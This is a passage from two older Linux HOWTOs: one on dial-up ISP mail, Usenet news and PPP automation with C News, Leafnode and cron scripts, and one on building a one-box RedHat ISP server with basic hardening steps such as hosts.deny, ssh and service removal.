Procmail is a simple and flexible tool that can sort incoming email based on a large range of criteria. In addition to being able to handle automated tasks like vacation messages and such.

Note that when we use procmail directly as in this case, the situation is somewhat different from what is described in the procmail documentation. A .forward is not required, and we also don't need a .procmailrc. The latter is only required if we want to sort the mail.

The user interface for reading and sending of email can be found in programs like pine or elm.

ALT: Fetchmail has recently become an improved alternative to popclient. The latest version is available from:

ftp://ftp.ccil.org/pub/esr/fetchmail/fetchmail-3.3.tar.gz

ALT: For an ordinary dial-up ISP user it is not really necessary to have the sendmail daemon active. To reduce resource usage, and possibly other problems, one may thus comment out any startup of sendmail, as is usually found in /etc/rc.d/rc.M (this varies from distribution to distribution).

ALT: In place of sendmail one might use the simpler smail. You'll find a good description of it (as well as most other things mentioned here) in the Linux Network Administrator's Guide.

ALT: There is also an m4 macro package for making a fresh /etc/sendmail.cf. For a simple installation it might be just as well to modify an existing configuration.

ALT: There are also simpler although less flexible alternatives for handling email. Pine may run stand-alone as long as it is configured properly, for instance. It might even be possible to use newer versions of some web-browsers.

ALT: Many are very enthusiastic regarding the Emacs companion Gnus as an email and news handler. Further information can be found at:

http://www.ifi.uio.no/~larsi/

ALT: An alternative to popclient is pop-perl5. It is available from:

ftp://sunsite.unc.edu/pub/Linux/System/Mail/pop-perl5-1.1.tar.gz


ISP-Hookup-HOWTO: News

 Next Previous Contents

5. News

5.1 How do I set up an online news-reader?

As long as PPP is active, it will be possible to read news online. There are lots of available programs, two simple alternatives being rtin and trn.

To start reading news, the only thing required in terms of configuration in most cases is to set NNTPSERVER (usually once and for all in the file .profile):

export NNTPSERVER=news.acme.xz

To get the From-address correct in postings, some programs may require:

export NNTP_INEWS_DOMAIN=acme.xz

5.2 How do I set up an offline news-reader?

To be able to read news while offline and thus reduce phone bills and give greater flexibility, one must set up a local news-spool of one sort or the other. This requires some configuration, and there will also be a certain amount of disk space involved. After initial setup, things should run more or less by themselves, with only some attention needed from time to time.

Two different solutions will be described here.

5.3 How do I set up C News?

The solution described here is based on the news-server C News and the NNTP protocol. C News was originally targeted towards another sort of configuration, but is flexible enough to handle our situation too. One might also use the more recent INN news server but it might require a bit more in terms of resources. Either way, be careful not to install both; they don't live together easily.

It is crucial that all maintenance of news is done while logged in as user news, and that all configuration files is placed in /usr/lib/news. One way of handling this is, while logged in as root to write su news; cd.

The most important files in the configuration are:

  • active is an overview over active newsgroups. It is updated as required by the command addgroup, e.g. addgroup comp.os.linux.networking y.
  • organization should simply contain whatever you want in the Organization: header field, in our case:
Dirk Gently's Holistic Detective Agency

  • mailname should in our case be set to acme.xz.
  • whoami is set to the name of your site in the Path: thread. In a setup as described here, using newsx, this name will never leave the machine, so you can set this to whatever you like as long as you are pretty sure it is unique. In this case roderick.
  • The file sys controls fetching and further distribution of news. We will assume the ISP in our case adds acme.xz to the Path, and that this is the only news source we have. The example given really tells that we will accept everything that arrives, and that we will only post news to acme.xz that it hasn't seen before, and is originally posted at our own site. In this simplified setup we assume that the all groups will come from a single source. /all specifies the distribution, and must be included. The letter F says that (pointers to) outgoing news articles will be collected in a file.
ME:all/all::
acme/acme.xz:all,!junk/all:FL:

  • A subdirectory for the outgoing news must be created, in our case:
mkdir /var/spool/news/out.going/acme

  • mailpaths controls posting in moderated groups, although this task may usually be left to the ISP.

C News needs a certain degree of daily maintenance, but this can be specified once and for all via the command crontab -e issued as user news. A suggested setup follows; it can be tuned as required:

# maintain incoming and outgoing batches
10,40 *  * * * /usr/lib/newsbin/input/newsrun

# expire C News, once a day
30 0  * * * /usr/lib/newsbin/expire/doexpire

# monitor and report if needed
00 2  * * sat /usr/lib/newsbin/maint/addmissing
40 3  * * * /usr/lib/newsbin/maint/newswatch
50 3  * * * /usr/lib/newsbin/maint/newsdaily
newsrun moves articles in and out (twice every hour), doexpire will delete articles as they get old (every night at 00:30), and the three last commands does various supervisory and error correcting tasks.

One should also ensure that things are cleaned up when starting the machine. As user root, add the following line to /etc/rc.d/rc.local:

su news -c /usr/lib/newsbin/maint/newsboot
News may be collected via the program NewsX, picking news from an NNTP-server The program can be found at:

ftp://sunsite.unc.edu/pub/Linux/system/news/transport/newsx-0.9.tar.gz Or:

ftp://ftp.sol.no/user/egilk/newsx-0.9.tar.gz

Setting up NewsX is quite simple. Installation is a classic case of:

make
su
make install
exit

With the setup outlined here, all you have to do is to create the groups you want to read using the addgroup command.

To fetch articles, user news issues the following commands (assuming communication via PPP or similar is up):

newsrun
newsx acme news.acme.xz
newsrun

The option -d gives continuous printout to the screen. Refer to the NewsX documentation for further information.

NewsX will also take care of posting of outgoing news.

To control disposal of articles as they get old, a file explist is required. The comments in this example should explain what we want to do:

# hold onto history lines 14 days, nobody gets >120 days
/expired/                       x       14      -
/bounds/                        x       0-1-120 -

# retain these for 2 months
comp.sources,comp.os.linux.all  x       60      -

# noise gets thrown away fast
junk,control                    x       2       -

# default:  14 days, no archive
all                             x       14      -

ALT: In a small news-spool, one will usually not need the newsgroup control. The traffic is huge compared to the possible usefulness. The main point is that articles will be canceled, and that groups may be created automatically. To ensure that control messages containing newgroup not shall mess up things for us, a file called newgroupperm specifies what we will allow:

comp.os.linux   tale@uunet.com  yv
all             any             nq
In this example, all proper groups under comp.os.linux will be created (y), and the user news will be notified (v). Everything else will be silently (q) ignored (n). The last line is sufficient if you want to create all groups manually.

ALT: An alternative to NewsX is suck.

5.4 How do I set up Leafnode?

A different solution altogether is to install the integrated package leafnode. This will handle all tasks required for a personal news spool, and is easy to configure. It is available via:

http://www.troll.no/freebies/leafnode.html

As for C News, all news maintenance really should be performed as user news.

The home directory for leafnode is in /usr/lib/leafnode. To install, write:

cd /usr/lib/leafnode
tar -xzvf leafnode-0.8.tgz
cd leafnode-0.8
make
su
make install

Note in the following that the prefix /usr/local/sbin should be replaced with /usr/sbin if you installed leafnode from a package.

While still being logged in as root, change the line that controls NNTP in /etc/inetd.conf:

nntp  stream  tcp  nowait  news  /usr/sbin/tcpd /usr/local/sbin/leafnode
Activate it by:
killall -HUP inetd

Return to user news by writing exit. In /usr/lib/leafnode/config change the line that defines the NNTP server. In our case:

server = news.acme.xz

Leafnode will look after itself by adding the following command via crontab -e as user news:

# expire Leafnode, once a day
0 4 * * * /usr/local/sbin/texpire

News exchange is also done as user news by the following command (assuming PPP is up and running):

/usr/local/sbin/fetch

Users who wants to read news should then use the recipe in How do I set up an online news-reader?, except that they configure for the local machine, i.e:

export NNTPSERVER=localhost

That should be all there is to it. The first fetch will transfer a list of available newsgroups. Leafnode will then monitor what groups the users are requesting, and adapt to this the next time it is activated.

Note that leafnode does not seems to work in cases where NNTP authorization is required. +.LP

ALT: An alternative to leafnode is nntpcache, available from:

ftp://ftp.suburbia.net/pub/nntpcache/nntpcache.tgz ALT: Another alternative is to use the newsreader slrn together with the slrn-pull package. The newsreader must be compiled with the spool feature set.


ISP-Hookup-HOWTO: How do I automate the connection procedure?

 Next Previous Contents

6. How do I automate the connection procedure?

Automated handling of news and email is quite easy to implement in Linux.

First and foremost one should make a /usr/lib/ppp/ppp-on that initiates the ISP connection. Often, this file will simply contain the following:

/usr/sbin/pppd
Further specification will be performed in /etc/ppp/options:
connect "/usr/lib/ppp/chat -v -f /etc/ppp/chatscript"
crtscts
modem
defaultroute
asyncmap 00000000
user dirk
/dev/modem 38400

To end a connection, use the supplied version of /usr/lib/ppp/ppp-off.

Having tested the functionality of these two scripts, one must then write scripts that perform the various tasks. The script to collect email has been described before, and we will here assume it is located at /home/dirk/pop.

A script for exchange of email can then be produced in /root/mail:

#! /bin/sh
#
# exchange mail
# 10 minutes timeout:
TIMEOUT=600
DT=10

# kick sendmail:
sendmail -q &

# retrieve mail:
su dirk -c /home/dirk/pop

# wait for sendmail to terminate:
t=0
while ! mailq | grep -q "Mail queue is empty"; do
    t=$[$t+$DT]
    if [ $t -gt $TIMEOUT ] ; then
     echo "sendmail -q timeout ($TIMEOUT).."
     exit 1
    fi
    sleep $DT
done

exit 0

The script to exchange news may be placed in /usr/lib/news/news:

#!/bin/sh
#
# exchange news
# must be run as news:
cd /usr/lib/news

#update the outgoing batch (C News):
/usr/lib/newsbin/input/newsrun < /dev/null

#exchange news:
/usr/lib/newsbin/newsx acme news.acme.xz

#and flush the incoming batch:
/usr/lib/newsbin/input/newsrun < /dev/null
A script to connect the various bits and pieces remains, and can be placed in /root/news+mail:
#!/bin/sh
#
# exchange news and email
# must be run as root
#
if ! /usr/lib/ppp/ppp-on; then
    exit 1
fi
trap "/usr/lib/ppp/ppp-off" 1 2 3 15

#exchange news+mail:
/root/mail &
su news -c ~news/news
wait

#disconnect..
/usr/lib/ppp/ppp-off

#update the incoming batch (C News):
su news -c /usr/lib/newsbin/input/newsrun < /dev/null &

exit 0

It is quite easy to make an extension to the above that only will establish a connection if outgoing email and news is present. Lets call it /root/news+mail.cond, and keep in mind that the name of the outgoing news-spool must be updated to suit:

#!/bin/sh
#
# exchange news and email, only if outgoing news or mail
# (C News spool)
if [ -s /var/spool/news/out.going/acme/togo ] ||
    ! ( mailq | grep -q "Mail queue is empty"); then
     /root/news+mail
fi

The only thing remaining is to specify when all this is going to happen. This is done using the command crontab -e as root. Let us assume that we always want to exchange news and mail at 07:00 in the morning, and after that every 4th hour assuming there are outgoing email and news:

00 7            * * *   /root/news+mail
00 11,15,19,23  * * *   /root/news+mail.cond
Ensure that every component is tested well before you connect them together. One may later add several other tasks, such as adjustment of the time of day (using ntpdate), and automatic update (mirroring) of locally maintained WWW and FTP files up to the ISP (using make and ftp).

ALT: Depending on ones preferences, it is also possible to turn the process upside down. Every time a PPP link is initiated, the script /etc/ppp/ip-up will be started. One may here add whatever magic is required to start exchange of email and news. See man pppd for further detail.

ALT: It is also possible to automatically connect PPP whenever network traffic is detected. This is in many ways the more elegant solution, but it is quite dependent on a good configuration to avoid frequent (and costly) connections being made. More information can be found at:

http://www.dna.lth.se/~erics/diald.html

The diald utility is available from:

ftp://sunsite.unc.edu/pub/Linux/system/network/serial/diald-0.16.tar.gz

At the same location one will also find other variations on the theme PPP connections.


ISP-Hookup-HOWTO: Final words

 Next Previous Contents

7. Final words

7.1 Other things I should know about?

  • Various error messages in the system will normally be issued as internal email. To ensure that these will actually be read, one should create an /etc/aliases. Remember the command newaliases every time you change this. An example that should cover most eventualities is:
PostMaster: root
ftp: root
news: root
usenet: root
FaxMaster: root
fax: root
WebMaster: root
MAILER.DAEMON: root

  • Many programs for Linux may be found at Sunsite, which is usually quite busy. But there are many mirrors and every time there is a reference to ftp://sunsite.unc.edu/pub/Linux/.. one should try to use a mirror close to home, e.g. ftp://ftp.nvg.unit.no/pub/linux/sunsite/...
  • If you happen to be migrating from Yarn it should be possible to convert these to standard folders using the yarn2mf available at:

ftp://ftp.sol.no/user/egilk/yarn2mf.zip


ISP-Hookup-HOWTO: ISP specific information

 Next Previous Contents

8. ISP specific information

More specific information for certain ISPs is available from a variety of sources:

Demon Internet

ftp://ftp.demon.co.uk/pub/unix/linux/Demon/slack3.0.help.tgz

Netcom

http://www.netcom.com/bin/webtech/NetCruiser/Operating_Systems/Linux/linux.cfg.html

PowerTech, Telenor Online, Telia

http://www.kvaleberg.com/no-isp.html

Stanford

http://www-leland.stanford.edu/~wkn/Linux/network/network.html

MCI

http://www.kvaleberg.com/linux-mci.html

SISCOM

http://www.siscom.net/support/linux_setup.htm

AOL is not possible since AOL uses a proprietary protocol.

If you can supply ISP specific information not listed here, please get in touch.

8.1 How do I learn more?

The Linux Documentation Project book called Linux Network Administrator's Guide by Olaf Kirch is pretty mandatory for anyone that will set up and maintain anything involving TCP/IP and Internet

ftp://sunsite.unc.edu/pub/Linux/docs/linux-doc-project/network-guide/nag-1.0.ascii.tar.gz

The documentation that follows each software package will normally give you all the detailed information you need, if not always the overview. The man-pages will be the first place to look. Try for instance:

man pppd

You will also find some documentation about certain programs in the /usr/doc tree, although this is not always well structured.

The following HOWTOs will be highly relevant:

  • Installation-HOWTO will get the basics sorted.
  • NET-2-HOWTO is a very thorough description of installation and setup of the NET code. Much of this should already have been done if you use a standard Linux distribution (e.g. Slackware, Red Hat, Debian). But many sections on setup and troubleshooting will be very worthwhile.
  • Mail-HOWTO explains how to configure various tools. Again, much of this will already have been done for you when you install a standard Linux distribution.
  • News-HOWTO is for setting up a (conventional) news spool.
  • Tiny-News covers yet another alternative for collecting news.
  • PPP-HOWTO is a good description of problems you may encounter when setting up a PPP connection.
  • Serial-HOWTO contains everything you need to know about setting up serial ports.
  • Mail-Queue tells you how to send up sendmail to always queue remote mail but deliver local mail at once.

Red Hat has a mailing list for PPP issues; to join send an email to

redhat-ppp-list-request with the subject line

subscribe

8.2 Thanks to

Information here is collected from many sources. Thanks to the following that either indirectly or directly have contributed:

Adam Holt <holt@graphics.lcs.mit.edu>
Arne Coucheron <arneco@oslonett.no>
Arne Riiber <riiber@oslonett.no>
Arnt Gulbrandsen <agulbra@troll.no>
Bjorn Steensrud <bjornst@powertech.no>
Gisle Hannemyr <gisle@a.sn.no>
Hans Amund Rosbach <haro@sesam.dnv.no>
Hans Peter Verne <hpv@ulrik.uio.no>
Harald T Alvestrand <Harald.T.Alvestrand@uninett.no>
Harald Terkelsen  <Harald.Terkelsen@adm.hioslo.no>
Haavard Engum <hobbes@interlink.no>
James Youngman <JYoungman@vggas.com>
Johan S. Seland <johanss@sn.no>
John Phillips <john@linux.demon.co.uk>
Jorn Lokoy <jorn@oslonett.no>
Kenneth Tjostheim <kenneth.tjostheim@asplanviak.no>
Kjell M. Myksvoll <kjell.myksvoll@fou.telenor.no>
Kjetil T. Homme <kjetilho@math.uio.no>
Michael Meissner <meissner@cygnus.com>
N J Bailey <N.J.Bailey@leeds.ac.uk>
Nicolai Langfeldt <janl@math.uio.no>
Ove Ruben R Olsen <Ove.R.Olsen@ub.uib.no>
R. Bardarson <ronb@powernet.net>
Steinar Fremme <steinar@fremme.no>
Sverre H. Huseby <sverrehu@ifi.uio.no>
Trond Eivind Glomsrod <teg@stud.imf.unit.no>
Tommy Larsen <tommy@mix.hive.no>
Yves Bellefeuille <yan@storm.ca>


"Pocket" ISP based on RedHat Linux HOWTO

Anton Chuvakin, anton@chuvakin.org

v2.0.0 10 January 2001

This document outlines the setup of a single RedHat box for dialins, virtual web hosting, virtual email, POP3 and ftp servers. Why anybody might need this in one box is beyond the scope of this document. The idea is a complete ISP solution based on RedHat Linux. Any part of this setup can be implemented separately though. I will try to emphasize all the commands so one can just paste them to configure his own box. The list of documents that I borrowed from and some further reading is provided below (see References section). I will keep security in mind on all stages of the setup and will make clear all the security limitations of this setup, that I am aware of. I should add that assets that are to be protected in this case are considered not very valuable (e.g. personal pages etc) thus efforts spent on securing the setup are allowed to be limited.

1. Introduction

2. Changes

3. TODO Tue Jan 9 13:14:15 EST 2001

  • 3.1 New versions of this document
  • 3.2 Feedback
  • 3.3 Standard disclaimer
  • 3.4 Support
  • 3.5 Copyright information

4. Step by step guide

  • 4.1 Get RH
  • 4.2 Install RH
  • 4.3 Some install tips
  • 4.4 Some preliminary security configuration
  • 4.5 Remove unnecessary services
  • 4.6 Enable multiple IP addresses
  • 4.7 Configure DNS
  • 4.8 Configure httpd
  • 4.9 Configure sendmail
  • 4.10 Configure POP3
  • 4.11 Configure FTP server
  • 4.12 Configure dialin
  • 4.13 Open access

5. Conclusion

6. References


"Pocket" ISP based on RedHat Linux HOWTO: Introduction

 Next Previous Contents

1. Introduction

The guide assumes some familiarity with Linux functionality and general Linux/UNIX setup procedure (although not very detailed). Fully functional brain is also required for some stages of the procedure. All setup would be done manually (without the use of linuxconf, Webmin or other tools). Not that those are bad or that there is anything wrong with them. The reasons for that are: 1) it is comparatively hard to give step by step directions that produce predictable results as these tools pretend they are intelligent and "know better" (also known as "Windows syndrome") 2) layout of tools changes with time and is different in some distributions 3) manual setup gives better understanding of system works (not that it is always required though) 4)some tools allow only limited configuration of Linux system or do not keep up with updated features of services they try to configure.

I should add, that another solution seems to be very promising. It is virtfs developed by Afra Ahmad. Its main part is a perl script so it does not suffer from being a "black box". It will automatically configure all virtual services in a highly customizable fashion.

It is based on taking advantage of the chroot environment. A separate and smaller filesystem is created for each virtual server, and when a service is requested, the main server will chroot to the desired virtual server.

This method may take up more disk space, but it is much more flexible, especially when dealing with the services. For example, it is possible to have two different email accounts bob@vdomain1.com and bob@vdomain2.com (as you are dealing with two different passwd files). It might be essential for a bigger hosting site.

For more information please visit the Virtfs page at http://www.prongs.org/virtfs.

While many improvements are possible to the setup described in this HOWTO they might be described in later editions of this document - I just outline one possible way (accidentally, the one I used). The writeup is aimed at RedHat Linux, but with trivial changes can be used on any modern Linux distribution. The resulting configuration loosely follows the setup of some particular machines built by the author.


"Pocket" ISP based on RedHat Linux HOWTO: Changes

 Next Previous Contents

2. Changes

from 1.1.1 to 2.0.0

  • References updated (single IP hosting)
  • RedHat 7.0 based

from 1.1.0 to 1.1.1

  • Partitioning scheme described
  • Some comments to dialin server setup added (based on user feedback)
  • Some comments to ftp server setup added (based on user feedback)

from 1.0.3 to 1.1.0

  • Description of virtfs added
  • Qpopper and WUftpd bugs described
  • Double connections issue mentioned as requested by one of the readers
  • POP-only accounts described
  • References added

from 1.0.2 to 1.0.3

  • Some spelling errors corrected (thanks to Eugene Shishkin for that)

from 1.0.1 to 1.0.2

  • Some errors corrected (spelling)
  • Method to chroot non-anonymous ftp users ("guest" users; those with password and usernames, but with access only to their home directories; used for easy web updates)
  • References section updated
  • Troubleshooting subsections added to two sections
  • Qpopper update

from 1.0.0 to 1.0.1

  • Many errors corrected (both spelling and factual)
  • References section updated
  • Minor changes in wording and syntax to improve clarity
  • More security info added to several sections
  • Windows configuration for dialup added

Next update planned at: upon request or when new program versions are released


"Pocket" ISP based on RedHat Linux HOWTO: TODO Tue Jan 9 13:14:15 EST 2001

 Next Previous Contents

3. TODO Tue Jan 9 13:14:15 EST 2001

  • How to test each service section added! (including maybe strace: (mkdir /tmp/strace; mv .../in.ftpd .../in.ftpd.binary, create a two line shell script named in.ftpd with: #!/bin/sh and 'strace -o /tmp/strace/ftpd.out .../in.ftpd.binary' --- I've described strace wrappers and reading strace output in past LG articles; search for some hints))
  • More on security of all the services we install (clear text password, DoS by overflowing partition in mail and ftp, http access configs etc), including maybe the very basic ipchains setup (ipchains as safer alternative to tcp wrappers)
  • Add info on POP3 and ftp tunneling via ssh (just for fun) or refer to other HOWTOs
  • Add troubleshooting subsections to various sections
  • Add SSL-enabled Apache install and basic configuration
  • Add news server setup - who needs it?
  • User accounting setup (acc, acua)
  • Description of mail-only users (playing with proxyarp and restricting their access only to the local machine)

3.1 New versions of this document

New versions of this document can be found at

http://www.chuvakin.org/ispdoc

3.2 Feedback

All comments, error reports, additional information (very much appreciated!!!) and criticism of all sorts should be directed to: anton@chuvakin.org

http://www.chuvakin.org/

My PGP key is located at http://www.chuvakin.org/pgpkey

Please direct spelling error comments to your friendly local spell checker.

If you plan to ask for help, see support section first.

3.3 Standard disclaimer

No liability for the contents of this document can be accepted. Use the concepts, examples and other content at your own risk. Additionally, this is an early version, with many possibilities for inaccuracies and errors.

One of many possible setups will be described. In the Linux world, there is usually a number of ways in which to accomplish things.

As far as I know, only programs that under certain terms may be used or evaluated for personal purposes will be described. Most of the programs will be available complete with source under GNU-like terms.

3.4 Support

This is ridiculous, right? Who may ask for support after seeing such a comprehensive doc ;-) ?

Anyhow, if you are curious about some particular aspect of this setup or some of my writing is unclear, just drop me an email and I might answer it (at least, be assured that I will read it).

Now, if you require a phone, hand-holding style support or my work on your system, I might be able to provide it on certain terms (if I have time and your case seems interesting enough ;-) )

3.5 Copyright information

This document is copyrighted (c) 2000,2001 Anton Chuvakin and distributed under the following terms:

  • Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.
  • All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.
  • If you have questions, please contact Greg Hankins, the Linux HOWTO coordinator, at
gregh@sunsite.unc.edu


"Pocket" ISP based on RedHat Linux HOWTO: Step by step guide

 Next Previous Contents

4. Step by step guide

Ingredients needed:

  • RedHat Linux distribution (the instructions are exactly applicable to RedHat 6.x or 7.x and, I think, with some minor changes to 5.x))
  • compatible hardware (also known as a PC), that includes network card and modem (at least one)
  • 3-256 IP addresses (as the machine will give out some IP addresses for modem callers and use others for virtual hosting more than 1 is needed, the upper number is the maximum number of IP-based virtual hosts allowed without recompiling the stock RedHat kernel, lower is one real IP, one modem and one virtual IP - see reference for sinlge IP virtual hosting below).
  • some sort of permanent network connection (using some modems for dialin while providing the Internet access via another modem is considered totally weird and not recommended)

Here follows the procedure:

4.1 Get RH

Purchase or otherwise procure the RedHat 7.0 (further referred as RH, latest version number is 7.0 at the time of updating) distribution and compatible hardware. One can get a full RH CDROM for about $3.00 including shipping and handling at http://www.cheapbytes.com. This version will not contain such luxuries as secure web server and extra software. For those you should turn to RedHat website. Or probably buying the PC with Linux RH pre-installed is an option for some.

4.2 Install RH

Install the RH following the *instructions on the package* (might be added here later). CDROM install is very easy to perform. I suggest using text-mode setup, in my case their graphical one failed miserably. When asked about the installation type (Server/Workstation/Custom) choose Server or Custom (if you know what you are doing)-you can always add software later. Some other important installation decisions are outlined further. For RH 6.0 and 6.1 you might be able to add packages to Workstation setup as well, but in RH 6.2 and later (7.0) all the server services are disabled and significant amount of tweaking is required-so only Server or Custom is strongly recommended.

4.3 Some install tips

If your hardware really is compatible the installation process will detect and configure it correctly. Otherwise, refer to corresponding documentation for troubleshooting network card, modem, video card, etc problems (mostly HOWTOs and mini-HOWTOs, some are in References section below).

Here are some ideas on disk space partitioning. Read Linux Partitions HOWTO (a bit outdated) to get some general hints on functions of partitions and their sizes for different kinds of server setups.

Lest assume we are setting up a server for under one hundred users. We will need separate /tmp, /var and /home partititons (and swap, of course). If you hard drive is around 4 GB than roughly 300 MB is /tmp, 100MB swap, 1 GB /var (you want ample logging) and 1GB /home. The remaining 1.6GB will be root partition (no separate /usr). The split between /home and / might depend upon the amount of web pages you plan to host - the more pages the more space goes to /home. To enhance security it is nice to put some restricions (in /etc/fstab) to /tmp, /var and /home partitions (similar to those described in my Public Browser Station HOWTO .

If your network card is detected properly you will be asked for an IP address of your machine, gateway address and network mask and the address of the DNS server (might be your own machine if you plan to set it up this way). Have all this info handy. Also you will be asked for a machine name and domain name. We will use a sample domain name you.com and the machine will be named ns (that gives us a fully qualified domain name (FQDN) ns.you.com). You should use whatever domain you registered (see Setting Up Your New Domain Mini-HOWTO, link in References section below) and intend to use as your primary domain (not a virtual). For the gateway address we will use a sample 111.222.333.111 address. Gateway is likely the router that connects your machine (or your LAN) to the outside world.

Enable shadow and MD5 passwords for greater security. First of those makes the file that contains encrypted passwords readable only to root user and the second allows longer and harder to crack passwords. As it will be a standalone machine do not enable NIS/NFS.

After installation finishes and machine reboots you will see the login prompt. Enter login and password (for the root account) and start configuring you new Linux station.

4.4 Some preliminary security configuration

First (and fast), add a line: ALL:ALL to your /etc/hosts.deny file. That would (to some known extent) prevent other people from accessing your machine while you are doing the configuration. That will also prevent you from doing the same. For further configuration efforts (that can be done remotely, by the way) secure shell is recommended. Download the RPM package for RH from one of the many sites and install it (as root) using: rpm -U ssh*rpm or similar command (depends upon the version). You will have to get both client and server packages (if you want to ssh from this machines as well as to this machine). Upon installation all necessary post-installation commands (like server key generation) are run automatically by the RPM package. You will have to start server manually using command /etc/rc.d/init.d/sshd start.Some early versions of ssh1 and also all versions of ssh1 compiled with RSAREF library contain a buffer-overflow bug. Use ssh2 or the latest version of ssh1 without RSAREF. If you do this you will have to allow access using ssh from some trusted machine (described later) in /etc/hosts.allow file. RedHat 7.0 now includes OpenSSH clone that supports both ssh1 and ssh2 protocols. Its configuration is almost the same as ssh. It has some minor configuration advantages over ssh (for instance, no X11 forwarding by default) and is otherwise the same. Sshd (when run as daemon) will also refer to /etc/hosts.deny and /etc/hosts.allow for access control.

If you want to be really rigorous in you configuration pursuits go to single use mode by giving the command init 1, in this case all work is to be done locally and you would not be able to test you network-related configuration as network is not available in this mode.

To further enhance your security ipchains software (that is usually part of your Linux distribution) can be used (for that refer to IPCHAINS HOWTO, link in References). It takes quite a bit more efforts to configure it than TCP wrappers, although some automated tools are available for that too.

4.5 Remove unnecessary services

Now lets deal with unnecessary services. Please note that my idea of "unnecessary" might not be 100% same as yours. Also, telnet is now considered by many to be not only unnecessary, but really utterly undesirable. Use ssh, and forget telnet once and for all!

  1. Services started from /etc/inetd.conf (RedHat 7.0 introduced the more advanced /etc/xinetd.conf which uses somewhat different syntax, see below):

    comment out all the lines, but those

    ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -L -l -i -a
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd
    Check this by using the command: grep -v '\#' /etc/inetd.conf

    If you will be using the secure shell (ssh), telnet is also not necessary and can be removed. Secure shell can either be started as a daemon on system startup or as a service from /etc/inetd.conf. Default configuration (used by the RPM package) is to start is as a daemon. Sshd can be compiled to refer to /etc/hosts.allow file for access control. In this case, while you will not have it in your /etc/inetd.conf, it will still use the settings from /etc/hosts.allow and /etc/hosts.deny. The advantages of this method is faster connection as the sshd will not have to regenerate server key every time somebody connects. On the other hand, if you start it from /etc/inetd.conf it will be more isolated from the outside world. More lines will be added to /etc/inetd.conf as necessary (POP3 is one of those).

    Here goes the note for RedHat 7.0 users. Inetd daemon (while still present in the distribution) is now replaced with xinetd. Its configuration file format is as follows:

    #
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/

defaults
{
        instances               = 60
        log_type                = SYSLOG authpriv
        log_on_success          = HOST PID
        log_on_failure          = HOST RECORD
}

includedir /etc/xinetd.d
    where /etc/xinetd.d directory looks like (with probably more file in your case):
    -rw-r--r--    1 root     root          498 Aug 23 00:17 tftp
-rw-r--r--    1 root     root          414 Jul 21 08:43 rsh
-rw-r--r--    1 root     root          362 Jul 21 08:43 rexec
-rw-r--r--    1 root     root          361 Jul 21 08:43 rlogin
-rw-r--r--    1 root     root          347 Aug  9 05:55 wu-ftpd

    Files in the directory configure individual services like finger, telnet or ftp. There format is (this service, ftp, defaults to on on stock RedHat 7.0)

    # default: on
# description: The wu-ftpd FTP server serves FTP connections. It uses \
#       normal, unencrypted usernames and passwords for authentication.
service ftp
{
        socket_type             = stream
        wait                    = no
        user                    = root
        server                  = /usr/sbin/in.ftpd
        server_args             = -l -a
        log_on_success          += DURATION USERID
        log_on_failure          += USERID
        nice                    = 10
}

    Or (this service, tftp, defaults to off on stock RedHat 7.0)

    # default: off
# description: The tftp server serves files using the trivial file transfer \
#       protocol.  The tftp protocol is often used to boot diskless \
#       workstations, download configuration files to network-aware printers, \
#       and to start the installation process for some operating systems.
service tftp
{
        socket_type             = dgram
        wait                    = yes
        user                    = nobody
        log_on_success          += USERID
        log_on_failure          += USERID
        server                  = /usr/sbin/in.tftpd
        server_args             = /tftpboot
        disable                 = yes
}

    So, to disable services add "disable= yes" to the end of correspondent file or just remove the file.

  2. Services started on system startup from /etc/rc.d directory:

    Check what services are running by using: ps ax. You will get something similar to the sample output below:

        PID TTY      STAT   TIME COMMAND
    1 ?        S      0:04 init
    2 ?        SW     0:30 [kflushd]
    3 ?        SW     0:32 [kupdate]
    4 ?        SW     0:00 [kpiod]
    5 ?        SW     0:03 [kswapd]
    6 ?        SW<    0:00 [mdrecoveryd]
  296 ?        SW     0:00 [apmd]
  349 ?        S      0:00 syslogd -m 0
  360 ?        S      0:00 klogd
  376 ?        S      0:00 /usr/sbin/atd
  392 ?        S      0:00 crond
  412 ?        S      0:00 inetd
  454 ttyS0    S      0:00 gpm -t ms
  533 tty2     SW     0:00 [mingetty]
  534 tty3     SW     0:00 [mingetty]
  535 tty4     SW     0:00 [mingetty]
  536 tty5     SW     0:00 [mingetty]
  537 tty6     SW     0:00 [mingetty]
  667 tty1     SW     0:00 [mingetty]
 4540 ?        S      0:00 httpd
 5176 ?        S      0:00 httpd
 5177 ?        S      0:00 httpd
 5178 ?        S      0:00 httpd
 5179 ?        S      0:00 httpd
 5180 ?        S      0:00 httpd
 5181 ?        S      0:00 httpd
 5182 ?        S      0:00 httpd
 5183 ?        S      0:00 httpd
 7321 ?        S      0:00 /usr/sbin/sshd                 <<< only after you installed sshd to run on startup
 7323 pts/0    S      0:00 -bash
 7336 pts/0    R      0:00 ps ax

    Lets concentrate on processes that listen to network, such as lpd. Since we do not plan to use our server for printing (we sure might, I just don't describe it here), I suggest we remove the printer daemon by: rpm -e lpd . If rpm complains about any dependencies (like, in my case, printfilter and rhprinttool), add them to your rpm -e command and repeat it. Other services that should be removed are NFS, NIS, samba etc, if they got installed by mistake. Make sure you remove NFS/NIS (if you are not using them) as bugs are often found in them. Again, these are useful things, I am just following the *golden rule* "remove the software you don't currently use". And, with RH RPM it is really easy to add it any time in the future.

Some more basic security settings can be obtained from Armoring Linux paper. As suggested there, lets make a wheel group with trusted users (in our case, only user youwill be able to do /bin/su and to run cron jobs (together with root).

  • wheel group for sensitive commands:

    1. vi /etc/group, add a line (if it doesn't exist):
      wheel:x:10:root,you
      If line exists, just add you in the end as shown. You don't have to use vi (and somehow I understand it very well ;-)), just use your favorite editor (for a nice reasonably user-friendly non-X editor try pico, distributed together with mail program pine, the latter is part of most Linux distributions)
    2. /bin/chgrp wheel /bin/su
      change group ownership to wheel group on /bin/su
    3. /bin/chmod 4750 /bin/su
      change mode on /bin/su
  • restrict cron:

